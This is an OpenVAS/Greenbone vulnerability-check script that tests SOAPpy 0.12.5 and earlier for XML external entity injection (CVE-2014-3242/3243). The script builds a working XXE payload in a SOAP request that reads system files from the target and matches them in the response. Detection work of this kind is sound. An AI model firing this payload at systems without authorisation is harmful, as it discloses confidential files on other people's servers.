SOAPpy <= 0.12.5 XXE Vulnerability - Active Check
🗓️ 06 May 2014 00:00:00Reported by Copyright (C) 2014 Greenbone AGType
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# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.105017");
script_version("2025-12-19T15:41:09+0000");
script_tag(name:"last_modification", value:"2025-12-19 15:41:09 +0000 (Fri, 19 Dec 2025)");
script_tag(name:"creation_date", value:"2014-05-06 11:10:06 +0200 (Tue, 06 May 2014)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_cve_id("CVE-2014-3242", "CVE-2014-3243");
script_tag(name:"qod_type", value:"remote_app");
script_tag(name:"solution_type", value:"VendorFix");
script_name("SOAPpy <= 0.12.5 XXE Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2014 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_get_http_banner.nasl", "os_detection.nasl");
script_mandatory_keys("SOAPpy/banner");
script_require_ports("Services/www", 80);
script_tag(name:"summary", value:"SOAPpy is prone to an XML external entity (XXE)
vulnerability");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");
script_tag(name:"insight", value:"Processing of an external entity containing tainted data may
lead to disclosure of confidential information and other system impacts.");
script_tag(name:"impact", value:"An attacker can exploit this issue to obtain sensitive
information, this may lead to further attacks.");
script_tag(name:"affected", value:"SOAPpy 0.12.5 and prior are vulnerable.");
script_tag(name:"solution", value:"Ask the vendor for an update.");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("misc_func.inc");
include("os_func.inc");
include("port_service_func.inc");
include("traversal_func.inc");
port = http_get_port( default:80 );
banner = http_get_remote_headers( port:port );
if( "SOAPpy" >!< banner )
exit( 0 );
files = traversal_files();
useragent = http_get_user_agent();
host = http_host_name( port:port );
foreach pattern ( keys ( files ) ) {
url = "/";
headers = make_array( "Content-type", "text/xml",
"SOAPAction", '"echo"' );
data = '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE v1 [
<!ENTITY xxe SYSTEM "file:///' + files[pattern] + '">
]>
<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/1999/XMLSchema">
<SOAP-ENV:Body>
<echo SOAP-ENC:root="1">
<v1 xsi:type="xsd:string">&xxe;</v1>
</echo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>';
req = http_post_put_req( port:port, url:url, data:data, add_headers:headers );
res = http_send_recv( port:port, data:req );
if( egrep( pattern:pattern, string:res ) ) {
report = "It was possible to obtain the file '" + files[pattern] + "'" +
'\n\nResult:\n\n' + chomp( res );
security_message( port:port, data:report );
exit( 0 );
}
}
exit( 99 );
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